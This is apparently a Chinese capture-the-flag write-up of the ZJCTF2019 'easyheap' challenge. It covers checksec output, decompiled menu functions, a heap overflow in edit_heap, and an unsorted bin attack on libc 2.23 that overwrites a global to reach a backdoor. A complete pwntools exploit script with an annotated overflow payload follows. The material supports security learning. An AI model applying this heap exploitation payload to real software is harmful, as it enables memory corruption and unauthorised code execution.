百航鹿大联训 ZJCTF2019_easyheap
easy在哪我请问了。
这题没给libc.so.6文件,但是知道是ubuntu 16,可以查一下,对应libc2.23。
拿到可执行文件,先checksec一下。

- Arch可以看到架构,x86,64位,小端序。
- RELRO表示重定位保护情况。Partial是比较弱的等级,允许覆写GOT表;Full的话就不能改GOT了。
- Canary found表示启用了栈金丝雀保护,会在栈帧里放随机的Canary值,简单的栈溢出等错改了Canary就会被干掉。
- NX表示no execute,数据段(栈、堆等)不能执行。不能把shellcode直接放到栈里然后跳过去执行。
- PIE表示可执行文件地址随机化。这里没开,说明文件的地址是固定的,函数地址等也是固定的,是很大的利好。但是libc/堆/栈等还是会被 ASLR 随机化,如果需要仍需泄漏。
- Stripped表示是否剥离符号表。这里没有剥离,那么可以直接通过函数名、变量名等看到地址位置,对实操比较友好。
同样是菜单题,但是发现输4869有一个后门函数,可以拿到system。(buu上是个假后门,要用fastbin attack做,以后有机会再补吧)
if ( v3 == 4869 )
{
if ( (unsigned __int64)magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
l33t();
}
}
要求magic变成一个比较大的数,暂时不知道怎么做,看接下来的函数。
unsigned __int64 create_heap()
{
int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heaparray + i) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
*(&heaparray + i) = malloc(size);
if ( !*(&heaparray + i) )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:");
read_input(*(&heaparray + i), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
和高达那题类似的,创建结构体。没啥特别的。
unsigned __int64 edit_heap()
{
int v1; // [rsp+4h] [rbp-1Ch]
size_t v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
printf("Size of Heap : ");
read(0, buf, 8uLL);
v2 = atoi(buf);
printf("Content of heap : ");
read_input(*(&heaparray + v1), v2);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v4;
}
可以修改heap的size和内容。注意到并没有检查修改后size是否超出原size,然而create的时候是比着大小开的。这说明可以做堆溢出。
unsigned __int64 delete_heap()
{
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( (unsigned int)v1 >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + v1) )
{
free(*(&heaparray + v1));
*(&heaparray + v1) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
删除堆。这里把free的指针置空了,没有UAF。
2.23没有tcache的事。考虑unsorted bin attack。
创建三个chunk,0号用于做溢出,1号紧跟在0号后面被溢出(要求大小>=0x80,这样才能进入unsorted bin),2号防止和Top chunk合并。
p &magic可以直接查出来magic的地址0x6020c0。这就是NO PIE和no stripped的好处,不用费力做泄漏。
考虑堆溢出把1号chunk的bk改成&magic-0x10。这样重新取出1号chunk时会执行unlink操作,1号chunk的bk会成为一个fake chunk。取出时,会把main_arena的bk指向该fake chunk,而fake chunk的fd指向main_arena。
也就是说,把&magic处的值改成了main_arena(为什么不是上一篇提到的bins[0]?版本问题)。这通常是个相当大的数,可以满足此题的要求。但由于写入值不可控,所以不知道实际生活有啥用()
值得注意的是,比较新的libc(2.28以后?)加入了申请chunk时对双向链表的检查,只改一边是不行的,会导致malloc时崩溃。
然后愉快地写代码吧。
from pwn import *
context.log_level="debug"
io=process("./easyheap")
elf=ELF("./easyheap")
def create(size,content):
io.sendlineafter("Your choice :","1")
io.sendlineafter("Size of Heap : ",str(size))
io.sendlineafter("Content of heap:",content)
def edit(index,size,content):
io.sendlineafter("Your choice :","2")
io.sendlineafter("Index :",str(index))
io.sendlineafter("Size of Heap : ",str(size))
io.sendlineafter("Content of heap : ",content)
def delete(index):
io.sendlineafter("Your choice :","3")
io.sendlineafter("Index :",str(index))
def backdoor():
io.sendlineafter("Your choice :","4869")
magic=0x6020c0 #NO PIE,所以是定值
create(0x10,"A"*4) #大小任意(但要保证能溢出),由于有末尾换行符,所以字符数必须严格小于10,不能取等,以下类似
create(0x90,"B"*4) #必须>=0x80
create(0x90,"C"*4) #大小任意
delete(1)
edit(0,0x31,b"A"*0x10+p64(0)+p64(0xa1)+p64(0xaaaaaa)+p64(magic-0x10))
'''
构造溢出payload,值得讲一下
前面0x10是0号chunk的大小,填满就行了
接下来8字节是prev_size,置0。疑似填什么无所谓?
接下来8字节是size,这个必须填对,不然malloc检查的时候会崩溃。
具体值是0x90(申请的大小)+0x10(header大小)+0x1(PREV_INUSE等标志位)=0xa1。当然也可以直接pwndbg里看。
接下来8位是fd。填什么都无所谓。
接下来8位是bk。-0x10是因为把这个当成了fake chunk的开头,会在fd的位置(+0x10)开始写。
'''
create(0x90,"e"*4)#大小必须和之前的1号一样,保证取出的是unsorted bin里的1号
backdoor()
io.interactive()

浙公网安备 33010602011771号